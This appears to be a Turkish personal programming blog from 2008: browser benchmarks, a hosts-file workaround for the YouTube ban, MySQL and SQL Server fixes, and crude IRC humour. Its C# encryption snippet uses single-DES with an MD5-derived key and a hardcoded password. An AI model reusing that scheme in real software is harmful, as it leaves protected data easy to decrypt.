Thursday, December 25, 2008

V8 kurcalarken bulunan video

okumasını çok sevmiom ama böle videoları izlemek çok daha eğlenceli oluyor. danimarka ingilizcesi nedir merak edenlerde izlesin eğlenceli :)



izleyemeyenler bir ara yazdığım bu postu okusun uygulasın.

V8 Benchmark Suite - version 2

yazının başlığındanda anlaşılacağı üzere bu bir test ve sonuçları yazısı. akşam akşam gezinirken google chrome projesnin bloguna rastladım. adam yazısında dediğine göre biz javascripti makine koduna çevirioz ordan çalıştırıoz deli hız yapıo demiş vay dile dedim denemeliyim sonuçda her çeşit browserım var makinemde. ve sonuçlar(denediğim sıra ile):

IE8 Beta 2
Score: 36.0

Richards: 28.7
DeltaBlue: 30.7
Crypto: 37.7
RayTrace: 34.9
EarleyBoyer: 52.4

Opera 9.63
Score: 153

Richards: 80.2
DeltaBlue: 107
Crypto: 84.2
RayTrace: 252
EarleyBoyer: 463

FireFox 3.0.5
Score: 76.5

Richards: 68.5
DeltaBlue: 58.4
Crypto: 75.3
RayTrace: 85.3
EarleyBoyer: 102

Google Chrome
Score: 1659

Richards: 1344
DeltaBlue: 1593
Crypto: 1050
RayTrace: 2069
EarleyBoyer: 2698

IE6 (mouse ile yazıları seçemediğimden screen shot koydum)


bu testten anladığım o ki IE 6 dan 8 e biraz iyileşmiş. google nedendir bilinmez bu testte kol gibi fark bastı. opera beklenmez bir çıkış yaptı. FF ise yine vasat haliyle ortada kaldı. bu skorlarda yüksek olan iyi demekmiş sayfasında öyle diyor.

eğer sizde bu testi uygulamak isterseniz tıklayın. dikkat edin CPU yiyebilio azcıkın :)

Wednesday, December 24, 2008

SEO sorunsalı

genelde forumlarda falan rastlanır böyle sorulara google da yapılan aramada kullanılan kelime büyük küçük harf de farklı sonuçlar verirmi ? cevap verir. ve linklemedede buna göre dikkat edilmesi gerekir sonuçda çok kişi büyük harf kullanmaz.

bide şu açı varki muhasebeciler ve rapor hazırlayan insanlar genelde büyük harf kullanabilir onların arama sonuçlarına hitap etmek için ayrıca seo ayarı verilebilir bu büyük harf muhabbetinden. hmm güzel hikayede seo'nun derdi, etkisinin uzun zaman alması ben hep unutuom yaptıklarımı :)

9 yaşındaki kız Microsoft sertifikası aldı

9 yaşındaki kız Microsoft sertifikası aldı

demekki microsoft sertifikası gerçekden çocuk oyuncağıymış :D

Sunday, December 21, 2008

çok kod mu az kod mu?

klasik bir yazılımcının herhangi bi projeyi bitirmeye uğraşırken hep başına gelen bi durum vardır yaz bitir ne çıkarsa, derle toplamı yapsam. yoksa düşünüpmü yazsam bu kod fazlamı oldu azmı oldu soruları döner durur. bu projeden projeye, yazılımcıdan yazılımcıya ve durumdan duruma değişir.

velhasıl az kodmu iyi çok kodmu iyidir ? sorusunun cevabı tam anlamıyla verilemez çünkü argümanlarımız çok fazla. fekat yine nette surferken bu soruyu gördüm ve verilen cevaplardan biri çok hoşuma gitti çevirem dedim.


The best code is no code. No testing, no maintenance, no bugs, no regressions.

You do have to write some code of course but it's the code you don't write that sets you apart.


yani: en iyi kod olmayan koddur çünkü test edilmesi bakım yapılması debug edilmesi gerekmez. tabiiki kod yazmalısınız ama sizi diğerlerinden ayıran yazmadığınız kodlar olacakdır.

yazılımsa bu kadar felsefi bakmamak lazım fikrini benimse bu cümleyi tuttuğumu söylerim

Thursday, December 18, 2008

ntvmsnbc nin rss modülünde bi problem var


açmışım google reader dan okuyorum olayları ntv nin rss lerden biri ilgimi çekdi tıkladım IIS hata sayfası geldi önce şimdide bu haber yada link problemli diyor garip.

ahanda link

http://www.ntvmsnbc.com/news/469471.asp

eğer ben bu yazıyı yayınladıkdan sonra düzelirse ntv nin rss yayınlayan şeysi biraz erkenci davranıo değilse kökden bi hata var demek.

Wednesday, December 03, 2008

Youtube izle

türkiyede youtube yasaklanalı çok oldu bi şekil elime geldiydi bu bilgide arkadaşlar sorup duruyor buyrun herkez kullansın. XP de

C:\WINDOWS\system32\drivers\etc

pathını açın ve hosts dosyasını notepad ile açın sonra en sonuna

208.117.236.70 youtube.com
208.117.236.70 www.youtube.com

bu iki satırı ekleyin ve explorer veya firefoxları kapatıp açın girin huzurla izleyin.

Tuesday, December 02, 2008

Twitter Yslow

yslow bilmeyeniniz yoktur işte bi nevi performans analizi firebug üstüne kurulu bi eklenti. merak ettim az evel twitter ın yslow notu kaç buyrun görün
Twitter:
Performance Grade: B (83)

dedim acep yahoonun puanı kaç sonuçda yslow yahoonun icadı. oda burda

Performance Grade: A (95)

gördüğüm kadarıyla birtek use cdn ayağında ciddi fark atmış yahoo. buda paraya çok dayalı ve twitter'ı ırgalamayan bi ayak sanırım sonuçda twitter USA ya çalışan ingilizce bi site.

Samples Environment for Microsoft Chart Controls - Release: Samples Environment for Chart Controls

Samples Environment for Microsoft Chart Controls - Release: Samples Environment for Chart Controls

bi ara denemekde fayda var. google dan sonra bakalım bu nası bişey yapmış

CHESS - Home

CHESS - Home: "aces, deadlocks, hangs, and data-corruption induced access violations, that are extremely hard to find with current testing tool"

.net de çok threadli programlarınızı test etmek için kullanabileceğiniz bir tool test eden comment atsın.

Monday, December 01, 2008

scriptaculos update

en son geçen hafta 1.5 den 1.6 ya almışdım scriptaculos u ve site hata vermeye başlamışdı ben draggable objesi kullanıyordum tanımsız manımsız diye ağlıo. kurcalarken kurcalarken buldum.

scriptaculos u head tagına koymak gerekiomuş yoksa patlarmış. ama hack mevcut 49. satırdaki "$$('head script[src]')" satırını "$$('script[src]')" yapıyorsunuz tatlıya bağlanıyor body dede script tagıyla yükleyebilinio.

büyük sitelerin trafiğini hep merak etmişimdir ebay ı yakaladım

http://www.seobook.com/ebay-syndrome

bu blogda gördüğüm üzere ebayın trafiği epey sağlammış. acaba google falan açıklasa bigünde görsek yaf :)

twitter nedir

bende çok kullanmadım uzakdan anladığım kadarıyla benim fikrim:

bi nevi public chat ortamı
herkez birbirinin lafına bişey dio hep bi cevap yetiştirmece
sanırım twitter laf ebesi gümeci yetiştirme ortamı

Sunday, November 30, 2008

sftp get directory

f4l nin drupalinde bi problem var ayarlarını kurcalamam lazım ama ben login olmayalı o kadar olmuşki sourceforge da şekil değiştirmiş. birincisi shell.sf.net kullanılamıyor web.sf.net kullanılıyor. isteyen shell alanıda oluşturailio ama özünde ona ihtiyacım yok sadece biraz kurcalancam. vel hasılı

sftp kullaniciadi,projeadi@web.sf.net

deyip web alanıma ulaştım herzamanki gibi herşey dağınık sftp den okuma yapılamıo bunları alim dedim kendime lokalde bakarım tek tek olmuyor. bir bir getlde bitmedi. sftp ile karşıya bağlanıp dizin alma şansımız yok o sebeple scp kullanılıyormuş.

scp -r kullaniciadi,projeadi@web.sf.net:htdocs f4l

bakalım eski drupalin derdini çözebilcezmi :)

Friday, November 21, 2008

erkek cinsel organ bant genişliği :)

öğleden sonra takılıom sakin sakin timu yolladı bu muhabbeti kopdum :)


<hypnosis> 1. The human cell contains 75 MB of genetic information
<hypnosis> 2. A sperm 37.5 MB.
<hypnosis> 3. In a milliliter, we have 100 million sperms.
<hypnosis> On average, one ejaculation releases 2.25 ml in 5 seconds.
<hypnosis> Using basic math we can compute the bandwidth of the human male penis as:
<hypnosis> (37.5MB x 100M x 2.25)/5 = (37,500,000 bytes/sperm x 100,000,000 sperm/ml x 2.25 ml) / 5 seconds = 1,687,500,000,000,000 bytes/sec = 1,687.5 TerraBytes/sec
<Jck_true> Sweet
<Jck_true> DoS attack!!!
<hypnosis> a bukkake would probably be a DDoS then
<hypnosis> 11 men would give 17 petabytes/sec
Comment: ##programming on FreeNode


uzun zamandır freenode da takılmıom özlemişim walla kopdum.

Tuesday, November 18, 2008

Analytics ve Subdomain

google analytics kullanıyor ve bi şekilde subdomainli bi siteniz var ve sub domainlerinizin ne kadar trafik yaptığını görmek istiyorsanız. birincisi analytics kodunu değiştirceksiniz. bu kod analytic'sin son versiyon

var pageTracker = _gat._getTracker("UA-77642-21");
pageTracker._setDomainName(".site.com");
pageTracker._trackPageview();


site.com yazan yere kendi domaininizi ekleyin analytics kodunuzda. bunu bi kaç gün önce yaptım ama uzun süredir kullandığım analytics arayüzünde bunu görcek yeri bilmiodum bugün onuda öğrendim

Visitors > Network Properties > Hostnames

altına gidiosunuz ve sub domainler orda.

Friday, November 14, 2008

PBE - Eveet yine hiç anlamadığım konuda iki satır yazdım hoşuma gitti

PBE password based encryption demek. bu ne demek şifreli şifreleme metodu. yani "abc" diye bi stringimiz var biz bunu şifrelemek istiyoruz ve kendimiza ait bi şifreyle bunu yapmak istiyoruz. mesele "123" e göre şifrelencek. neyse daha önceki yazımda jasypt ve javasından bahsetmiştim. decrytpinide yaptım koyim bi yerde dursun dedim hoşuma gitti şukadarcık kod cirlop gibide çalışıo.


using System;
using System.IO;
using System.Text;
using System.Security.Cryptography;

namespace StandardPBEStringEncryptor
{
public static class CryptoLib
{
public static string EncryptId(string ID)
{
string result = "";
ID = "abc" + ID + "xyz";
byte[] salt = new byte[8];

RNGCryptoServiceProvider rng = new RNGCryptoServiceProvider();
rng.GetBytes(salt);

System.Text.UTF8Encoding encoding = new System.Text.UTF8Encoding();
PKCSKeyGenerator kp = new PKCSKeyGenerator();
ICryptoTransform crypt = kp.Generate(
"kunteper",
salt,
1000,
1);

byte[] sonuc = crypt.TransformFinalBlock(encoding.GetBytes(ID), 0, encoding.GetBytes(ID).Length);

foreach (byte item in salt)
{
result += item.ToString("X2");
}
foreach (byte item in sonuc)
{
result += item.ToString("X2");
}
return result;
}
public static byte[] fromHexadecimal(String message)
{
if (message == null)
{
return null;
}
if ((message.Length % 2) != 0)
{
throw new Exception("bu iş olmaz mesaj bozuk");
}
try
{
byte[] result = new byte[message.Length / 2];
for (int i = 0; i < message.Length; i = i + 2)
{
int first = Convert.ToInt32("" + message[i], 16);
int second = Convert.ToInt32("" + message[i + 1], 16);
result[i / 2] = (byte)(0x0 + ((first & 0xff) << 4) + (second & 0xff));
}
return result;
}
catch (Exception e)
{
throw e;
}
}
public static string DecryptId(string ID)
{
byte[] pnlContent = fromHexadecimal(ID);
byte[] salt = new byte[8];
byte[] encryptedMessageKernel = new byte[24];
Array.Copy(pnlContent, salt, 8);
Array.Copy(pnlContent, 8, encryptedMessageKernel, 0, 24);

PKCSKeyGenerator kp = new PKCSKeyGenerator();
ICryptoTransform crypt = kp.Generate(
"kunteper"
, salt
, 1000
, 1);

byte[] sonuc = kp.Decryptor.TransformFinalBlock(encryptedMessageKernel, 0, encryptedMessageKernel.Length);
return Encoding.ASCII.GetString(sonuc).Replace("abc","").Replace("xyz","");
}
}

public class PKCSKeyGenerator
{
byte[] key = new byte[8], iv = new byte[8];
DESCryptoServiceProvider des = new DESCryptoServiceProvider();

public byte[] Key { get { return key; } }
public byte[] IV { get { return iv; } }
public ICryptoTransform Encryptor { get { return des.CreateEncryptor(key, iv); } }
public ICryptoTransform Decryptor { get { return des.CreateDecryptor(key, iv); } }

public PKCSKeyGenerator() { }
public PKCSKeyGenerator(String keystring, byte[] salt, int md5iterations, int segments)
{
Generate(keystring, salt, md5iterations, segments);
}

public ICryptoTransform Generate(String keystring, byte[] salt, int md5iterations, int segments)
{
int HASHLENGTH = 16;
byte[] keymaterial = new byte[HASHLENGTH * segments];
byte[] psbytes;
psbytes = Encoding.UTF8.GetBytes(keystring);

byte[] data00 = new byte[psbytes.Length + salt.Length];
Array.Copy(psbytes, data00, psbytes.Length);
Array.Copy(salt, 0, data00, psbytes.Length, salt.Length);

MD5 md5 = new MD5CryptoServiceProvider();
byte[] result = null;
byte[] hashtarget = new byte[HASHLENGTH + data00.Length];
for (int j = 0; j < segments; j++)
{
if (j == 0) result = data00;
else
{
Array.Copy(result, hashtarget, result.Length);
Array.Copy(data00, 0, hashtarget, result.Length, data00.Length);
result = hashtarget;
}

for (int i = 0; i < md5iterations; i++)
result = md5.ComputeHash(result);

Array.Copy(result, 0, keymaterial, j * HASHLENGTH, result.Length);
}

Array.Copy(keymaterial, 0, key, 0, 8);
Array.Copy(keymaterial, 8, iv, 0, 8);

return Encryptor;
}
}
}



biliyorum kırılır belkide kıranınız vardır bana fark etmez :) ben sevdim bu olayı.

sanırım bende çok okumadım olay bu pkcs#5

Thursday, November 13, 2008

SqlExpress vs.net 2008 ve attach etmeden çalışmak

normalde asp.net projelerinde membership falan kullancaksanız. vs.net 2008 den her bişey hallolur mis gibi aspnetdb.mdf di sanırım onu hazırlar içine table ları koyar falan filan. ama bunun deployu ciddi mesele oluyor yok dosya kullanımda yok ebelek yok gübelek servera koyarken sıkıntısı bitmio. neyse bende vs.net 2008 den oluşan dosyayı aldım lokaldeki sql in içine gömdüm bi şekil herşeyi var içinde nasılsa bak yapar atarım servera die.

bi diagram oluşturim dedim db ye alınan hata:
TITLE: Microsoft SQL Server Management Studio Express
------------------------------

Database diagram support objects cannot be installed because this database does not have a valid owner. To continue, first use the Files page of the Database Properties dialog box or the ALTER AUTHORIZATION statement to set the database owner to a valid login, then add the database diagram support objects.

------------------------------
BUTTONS:

OK
------------------------------


önce database e sağ tıklıyim dedim abuk bi dialog gösteremioz hatası. madem öyle şu alteri deniyem dedim ve diagram çalışır oldu :)
örnek alter satırı:
ALTER AUTHORIZATION ON DATABASE::morbibertest TO sa

Monday, November 10, 2008

Jasypt StandardPBEStringEncryptor C#

bi şekilde encrypt etmem gereken bi string problemim var normalde hiç uğraşmadığım kriptoloji hikayelerini kurcalamaya başlıyorum. olayım şu jasypt de bulunan StandardPBEStringEncryptor şifreleyicisiyle şifrelenmiş gibi bi string oluşturmak sanırım cipher de diolar yani şifreli veri. neyse en son bir örnek buldum ama çıkan sonuç nedense javadan çıkanla aynı boyda değil.

kurcalıom kurcalıom zaten anlamadığım bok örnek ve döküman az. en sonunda sikerim örneğini diyip. girdim java koduna başladım debug etmeye. meğersem salt+encryptedMessage yapmak gerekiomuş. bulduğum örnekse sadece encrypted ı geri gönderio sonradan kavradım olayı 8byte lık salt la 24 bytelık mesajı birleştirip yolluosunki karşı tarafda onu deşifre edebilsin. jasypt den de testimi yaptım dalga doğru çalışıo ferahladım. böle şeyleri çözmeside eğlenceli oluormuş.

Sunday, November 02, 2008

Mysql ve garip hatası: Got an error reading communication packets

sabahdan beri mysql de bi hatalardır gidiyor. ve bu hatalar herhangi bir sebep olmaksızın olduğundan çözemiyordum evvela logları açtım. asp.net mysql e bağlanamıyorum hatası veriodu sadece mysql in logları açınca olay aydınladı.

Exception information:
Exception type: MySqlException
Exception message: Unable to connect to any of the specified MySQL hosts.

bu hata hiç birşey anlatmıyor çünkü zaten normalde çalırşırken ara ara verilen bir hataydı bu. neyse mysql in loglar şu şekil açılıyor.
log-slow-queries
log-error
bu iki satırı my.ini dosyasında [mysqld] altında bi yere yazın ve mysql i restart edin. sonuçda mysql administrator un server logs bölümünde manalı mesajlar görmeye başlayacaksınız. neyse yakaladığım hata da başlıkda geçtiği gibi şu satırdan onlarcaydı
081102 7:29:35 [Warning] Aborted connection 15517 to db: 'motosiklet' user: 'motor' host: 'localhost' (Got an error reading communication packets)
bu hata çıktığı zaman hakkaten asp.net hosta bağlanamayıp hata sayfasına gidiyordu. altından girdim üstünden çıktım sistem windows ama linux dede bu tip hatalar ile karşılaşanlar çok. compression denedim.
http://dev.mysql.com/doc/mysql/en/communication-errors.html 
linki heryerde çıkıyor karşınıza bunu okudum max allow packet size ı ile oynadım. yok bi türlü sağlıklı bi çözüm bualamadım bu hata hep var. en son name pipe ile bağlantı kurim lan yeter bu TCP/IP dedim denedim ve vala. hata hala var ama site çakılmıyor :) bakalım ne kadar dayanır. sıkıldım bu dengesiz hatadan bilen varsa sağlıklı yolunu söylesin.

Monday, October 20, 2008

Lucene.net ve asp.net

lucene apache nin altında arama işlerinde kullanılan epey oturmuş bir proje. fakat java ile yazılmış bende bugün asp.net ile nasıl olurda kullanabilirim diye bakındım. ve basit bir asp.net örneği bulamadım. neyse diğer örneklerden kendime bişekil çalışan bişey çıkardım bu sefer godaddy shared hosting security exceptionları vermeye başladı ulan dedim noluyor. meğer lucene.net in te aşşalarında çağrılan iki satır kod ortamı karıştırırmış allah google amcamdan razı olsun birisi evvelden çözmüş o problemide ortadan kaldırdım.

sonra dedimki madem ben bulamadım başkasıda bulamayabilir bunu bi article edelim biyerlere koyalım. çok teferruatlı olmadı sonuçda teferruat olucak bişeyde yok en basit bi şekilde index nasıl create edilir nasıl arama yapılır ve sonuçlar gösterilir diye merak edenleriniz varsa bir aspx dosyasında işi bitirdim mis oldu.

Download luceneExample.zip - 196.7 KB

Saturday, October 18, 2008

as3 flv player

göker yeni versiyonu patlatmış 7kb iken 8kb olmuş bu güzelim flv playerı ciddi düşünmeye başlamakda fayda var.

flv player

başlıkdaki as3 de action script 3 demek. flashı takip etmeyen bilmez. dilin adı çok uzun :) baksana isimlere php,c,c++,java varken action script :D

Sunday, October 12, 2008

apostrof urlencode olmadı

normalde html de bi link oluştururken apostrofu encode etmeniz gerekmez ama ben <a href='adres'>isim</a> şeklinde link oluşturuyordum tabi bu adresin içinde apostrof olma ihtimali hiç gelmezdi aklıma bi bakdım link bozuluyor. .net için HttpUtility.UrlEncode() fonksiyonunu kullanim dedim. link değişmedi meğersem bu konular kıl olabilirmiş. neyse çözüme gelelim hemen

linkStringi.Replace("'","%27");

bu şekilde replace edince konu çözüldü.

hadi hayırlı tıraşlar.

Sunday, October 05, 2008

The text, ntext, and image data types cannot be compared or sorted, except when using IS NULL or LIKE operator.

bişeylerle uğraşırken sitelerimden birinde bunu gördüm admin panelinde ulan dedim durup durduk yere noluo. sonradan aklıma geldi ben bu sitenin databaseinde bi field ı ntext yapmıştım meğer ondan dolayı selectdeki order arıza eder olmuş.

çözüm basit order by fieldismi olan yeri order by cast(fielismi as varchar(8000)) gibi bişey yapıosunuz. zaten ilk harfe göre sıralama yapmasını istiodum bu yetioda artıo bile.

Saturday, October 04, 2008

TimeZoneInfo dan sonra

bu classı bi güzel kullanıyordum ki aslında selectde kullanmanın gereksiz yük olduğuna kanaat getirdim sonuçta içerik bin kere gösterilio bi yerlerde. en mantıklı çözümün insert esnasında dönüştürme yapılması. gösterimdeki dönüştürmelerden kurtulmuş oluoz.

Tuesday, September 30, 2008

TimeZoneInfo ve uygulamanın zamanı ayarı

Uzun zamandır asp.net kullanıyorum ve server saati hep bir problem olmuştur. şu işi web.config den ayarlicak bi sistem henüz bulamadım. şu işi biraz açıklıyim. ne zaman bi site yapsanız bi kullanıcı sisteminiz olur allahtan ona membershipprovider koydular uraştırmıo fazla. bide bu kullanıcıların sistemdeki işlemleri olur. en basit örnek bişeye yorum bırakmak olsun. server amerikada diyelim ve site türkçe. bu durumda kullanıcılarınızda genelde türkiyeden insanlar olucak. kullanıcı gelir login olur saat 12:00 dır ve 12:01 de yorumu yazar göndere basar fekat gönderim saati database e 03:01 diye insert edilir ve gösterilirkende öyle gösterilir. işte şu iş dediğim yer burası. bu durumda yapılması gereken ya insert sırasında zamanı türkiye saatine uygun çevirmek veya gösterimde kayıt edilmiş zamanı türkiye saatine çevirmek.

neyse bu gece yine aynı durumla karşılaştım. bakındım ve yine uygun bişey bulamadım ama .net 3.5 ile gelen TimeZoneInfo class ını buldum ağzını açan süper diyor ne olaki diye başladım bızdıklamaya. dalga basitce convert işlemi yapmayı sağlıyor. tabi kod örneğide bulamadım istanbul saatine çevirecek ondan yazim dedim burayada merak eden olursa diye

<%=TimeZoneInfo.ConvertTimeBySystemTimeZoneId(DateTime.Now, "GTB Standard Time")%>
server daki şimdiki zamanı bizim saatimize çevirir. diğer tanımlı timezon idlerinide şöylece yazim.

Morocco Standard Time (GMT) Casablanca
GMT Standard Time (GMT) Greenwich Mean Time : Dublin, Edinburgh, Lisbon, London
Greenwich Standard Time (GMT) Monrovia, Reykjavik
W. Europe Standard Time (GMT+01:00) Amsterdam, Berlin, Bern, Rome, Stockholm, Vienna
Central Europe Standard Time (GMT+01:00) Belgrade, Bratislava, Budapest, Ljubljana, Prague
Romance Standard Time (GMT+01:00) Brussels, Copenhagen, Madrid, Paris
Central European Standard Time (GMT+01:00) Sarajevo, Skopje, Warsaw, Zagreb
W. Central Africa Standard Time (GMT+01:00) West Central Africa
Jordan Standard Time (GMT+02:00) Amman
GTB Standard Time (GMT+02:00) Athens, Bucharest, Istanbul
Middle East Standard Time (GMT+02:00) Beirut
Egypt Standard Time (GMT+02:00) Cairo
South Africa Standard Time (GMT+02:00) Harare, Pretoria
FLE Standard Time (GMT+02:00) Helsinki, Kyiv, Riga, Sofia, Tallinn, Vilnius
Israel Standard Time (GMT+02:00) Jerusalem
E. Europe Standard Time (GMT+02:00) Minsk
Namibia Standard Time (GMT+02:00) Windhoek
Arabic Standard Time (GMT+03:00) Baghdad
Arab Standard Time (GMT+03:00) Kuwait, Riyadh
Russian Standard Time (GMT+03:00) Moscow, St. Petersburg, Volgograd
E. Africa Standard Time (GMT+03:00) Nairobi
Georgian Standard Time (GMT+03:00) Tbilisi
Iran Standard Time (GMT+03:30) Tehran
Arabian Standard Time (GMT+04:00) Abu Dhabi, Muscat
Azerbaijan Standard Time (GMT+04:00) Baku
Caucasus Standard Time (GMT+04:00) Caucasus Standard Time
Armenian Standard Time (GMT+04:00) Yerevan
Afghanistan Standard Time (GMT+04:30) Kabul
Ekaterinburg Standard Time (GMT+05:00) Ekaterinburg
Pakistan Standard Time (GMT+05:00) Islamabad, Karachi
West Asia Standard Time (GMT+05:00) Tashkent
India Standard Time (GMT+05:30) Chennai, Kolkata, Mumbai, New Delhi
Sri Lanka Standard Time (GMT+05:30) Sri Jayawardenepura
Nepal Standard Time (GMT+05:45) Kathmandu
N. Central Asia Standard Time (GMT+06:00) Almaty, Novosibirsk
Central Asia Standard Time (GMT+06:00) Astana, Dhaka
Myanmar Standard Time (GMT+06:30) Yangon (Rangoon)
SE Asia Standard Time (GMT+07:00) Bangkok, Hanoi, Jakarta
North Asia Standard Time (GMT+07:00) Krasnoyarsk
China Standard Time (GMT+08:00) Beijing, Chongqing, Hong Kong, Urumqi
North Asia East Standard Time (GMT+08:00) Irkutsk, Ulaan Bataar
Singapore Standard Time (GMT+08:00) Kuala Lumpur, Singapore
W. Australia Standard Time (GMT+08:00) Perth
Taipei Standard Time (GMT+08:00) Taipei
Tokyo Standard Time (GMT+09:00) Osaka, Sapporo, Tokyo
Korea Standard Time (GMT+09:00) Seoul
Yakutsk Standard Time (GMT+09:00) Yakutsk
Cen. Australia Standard Time (GMT+09:30) Adelaide
AUS Central Standard Time (GMT+09:30) Darwin
E. Australia Standard Time (GMT+10:00) Brisbane
AUS Eastern Standard Time (GMT+10:00) Canberra, Melbourne, Sydney
West Pacific Standard Time (GMT+10:00) Guam, Port Moresby
Tasmania Standard Time (GMT+10:00) Hobart
Vladivostok Standard Time (GMT+10:00) Vladivostok
Central Pacific Standard Time (GMT+11:00) Magadan, Solomon Is., New Caledonia
New Zealand Standard Time (GMT+12:00) Auckland, Wellington
Fiji Standard Time (GMT+12:00) Fiji, Kamchatka, Marshall Is.
Tonga Standard Time (GMT+13:00) Nuku'alofa
Azores Standard Time (GMT-01:00) Azores
Cape Verde Standard Time (GMT-01:00) Cape Verde Is.
Mid-Atlantic Standard Time (GMT-02:00) Mid-Atlantic
E. South America Standard Time (GMT-03:00) Brasilia
Argentina Standard Time (GMT-03:00) Buenos Aires
SA Eastern Standard Time (GMT-03:00) Georgetown
Greenland Standard Time (GMT-03:00) Greenland
Montevideo Standard Time (GMT-03:00) Montevideo
Newfoundland Standard Time (GMT-03:30) Newfoundland
Atlantic Standard Time (GMT-04:00) Atlantic Time (Canada)
SA Western Standard Time (GMT-04:00) La Paz
Central Brazilian Standard Time (GMT-04:00) Manaus
Pacific SA Standard Time (GMT-04:00) Santiago
Venezuela Standard Time (GMT-04:30) Caracas
SA Pacific Standard Time (GMT-05:00) Bogota, Lima, Quito, Rio Branco
Eastern Standard Time (GMT-05:00) Eastern Time (US & Canada)
US Eastern Standard Time (GMT-05:00) Indiana (East)
Central America Standard Time (GMT-06:00) Central America
Central Standard Time (GMT-06:00) Central Time (US & Canada)
Central Standard Time (Mexico) (GMT-06:00) Guadalajara, Mexico City, Monterrey - New
Mexico Standard Time (GMT-06:00) Guadalajara, Mexico City, Monterrey - Old
Canada Central Standard Time (GMT-06:00) Saskatchewan
US Mountain Standard Time (GMT-07:00) Arizona
Mountain Standard Time (Mexico) (GMT-07:00) Chihuahua, La Paz, Mazatlan - New
Mexico Standard Time 2 (GMT-07:00) Chihuahua, La Paz, Mazatlan - Old
Mountain Standard Time (GMT-07:00) Mountain Time (US & Canada)
Pacific Standard Time (GMT-08:00) Pacific Time (US & Canada)
Pacific Standard Time (Mexico) (GMT-08:00) Tijuana, Baja California
Alaskan Standard Time (GMT-09:00) Alaska
Hawaiian Standard Time (GMT-10:00) Hawaii
Samoa Standard Time (GMT-11:00) Midway Island, Samoa
Dateline Standard Time (GMT-12:00) International Date Line West

bu listeyi almak için örnek koduda koyalım timezoneinfo konusuda kapansın demi.

<table>
<%
foreach (var item in TimeZoneInfo.GetSystemTimeZones())
{
%>
<tr><td><%=item.Id %></td><td><%=item.DisplayName %></td></tr>
<%
}
%>
</table>

Friday, September 26, 2008

erkin baba ve babylon

süper bi konserdi bu kadar performans beklememize rağmen adamlar 10 dan gece 1 kadar non stop müzik yaptılar bu arada hakkaten müzik yapıolar öyle albüm parçalarını ezbere çalmıolar ben çok eğlendim.

taksicilere güven olmuo ama ciddi taksici üç kağıdına geldim gündüz açarmısın dedim ulan saat bi buçuk herif ok dedi bindim geldim eve adam taksimetre açmamış yok esentepeye uğradık bilmemne diyor. sinir oldum 18 lik yola 30 verdim aq para değil mesele orospu çocukluğu. demekki neymiş insan oğlu çiğ süt emiyor bununda ispatı taksici.

Tuesday, September 23, 2008

mkv problemi

bundan aylar önce mkv dosyası izleyemiom diye nvidia ekran kartı almıştım ki deniz alma demişdi haklıymış :) velhasılı mkv izlerken donan windowsuma çözüm buldum. aslında çokda windows çözümü değil ortalama bi makinem olmasına rağmen bir türlü çalamadığım(çalıoda problemli donmalar takılmalar) mkv dosyamı kubuntuda çalmayı başardı. buda yöntem

mplayer -vfm ffmpeg -lavdopts lowres=1:fast:skiploopfilter=all media.mkv

sanırım aynı yolu windowsdada denerim ondan burayada yazem dedim. aynı problemi yaşayanlara. bu arada bu yöntem azcık görüntü kalitesinden yiyor hdtv çokda hd olmuyor :)

Monday, September 22, 2008

Google Chrome Kilitlenmesi

gezinirken sitelerde birden google chrome göçtü. olmicak bişey değil ie hala göçüo chrome daha yeni çıkdı. neyse hoşuma giden mesajıydı :) eyvah yazıo mesajda buyrun kendiniz görün :D süper düzgün imla kurallarıyla hahahaa

Monday, September 15, 2008

CodeIgniter ve Symfony

uzun süredir symfony kullanmadım, bi ara okudumdu sadece. kullanması zor die prado kullanmışdım hoşuma gitmişdi. otururken cem aradı codeigniter diom başka bişe demiom dedi(gerçekden bütün telefon görüşmesi bu kadardı :D ). bu ne dio dedim anlamadım önce. bugün okudum php frameworküymüş buda.

baktım yapı yine aynı mvc hede hödö. hemen tutorial videosuda patlatmışlar. timu ya sordum nedir bu die. ben beğenmiom dedi. bu arada nedense php videoları hepmi mac de çekilio. ne zaman bu tutorial videosu görsem hep macden çekme oluo.

biraz bakındım her tarafdan fışkırıo bu php frameworkleri. anlamadımki. neyse domain name created dan anladığım kadarıyla symfony biraz daha yaşlı duruyor. svn den kod zamanlarınada birisi baksa bi örensek kim önce başlamış :)

Wednesday, September 03, 2008

google chrome

google yine bomba gibi koydu çocuğu internetin orta yerine. ben firefox benzeri bişey bekliyordum ama bilakis şu an chrome dan yazıyorum bu yazıyı. zamanla buna geçebilirim opera kadar hızlı çalışıyor. ve asıl güzel yanı sanki süreki full screenmiş gibi bi arayüzü var. laptopların ekranlar ezik olduğundan çok uygun.

şimdiye kadar gezdiğim sitelerde arızada yapmadı. şu anki eksik plugin muhabbetleri. ki oda son kullanıcı için pek gerekmiyor geliştirici değilseniz. bu gezgin gezdirio adamı :)

Monday, September 01, 2008

google url de neye dikkat eder

bu konu seo ile ilgili. web sitenizde url rewrite yapmayı planlıyorsunuz. nasıl bir yol izlemelisiniz.

konu bütün detaylarıyla burda anlatılıyor. benim dikkatimi çekense alttan tire _ yerine normal tire - kullanın demeleri olmuş. dikkat etmekde fayda var demek.

Friday, July 18, 2008

yuicompressor batch script

yuicompressor ne diyenlere kısaca anlatim bu dalga js dosyalarımızı obfuscate eder ve sıkıştırır. gereksiz commentleri atar lokal değişken isimlerini değiştirir falan. özünde 100kb lık dosyayı ortalama 80kb a getirebiliyor. tabii her zaman bu geçerli değil ama ortalaması %20 bazen %40 bazen %10 da olabilir o beni bağlamaz.

neyse gelelim bu yazıdaki konuya. XP de komut satırından sıkıştırmaya bakim bakalım nolucak diye uraşıom ama toplam sıkıştırmam gereken css ve js adedi 60. tabii hepsini tek tek komut satırından yapmak büyük sabır istiyor. saolsun google amcam bi kaç örnek bulduruyor. işte bi folderdaki css ve js leri kolayca sıkıştırmanın yolu:

FOR %%G IN (*.css) DO java -jar yuicompressor-2.3.5.jar %%G -o %%G
FOR %%G IN (*.js) DO java -jar yuicompressor-2.3.5.jar %%G -o %%G

bu iki satırı bi bat dosyasına yazın ve komut satırından oluşturduğunuz bat dosyasını çağırın. tabii jar dosyası o folderda olcak bide java path de tanımlı olcak onlar ne nasıl oluyor diyenlere.

bakalım bu 60 dosya çalışcakmı asıl ben onu merak ediyorum.

Saturday, July 12, 2008

TOEFL

o ne ki diyen olursa http://tr.wikipedia.org/wiki/TOEFL bu linkden detaylara ulaşabilir. hasbel kader bende girmiş bulundum fikirlerimi anlatayim istedim.

birincisi toefl kesinlikle bir ingilizce testi değil sabır testi.reading listening speaking ve writing bölümleri sırasıyla geliyor.

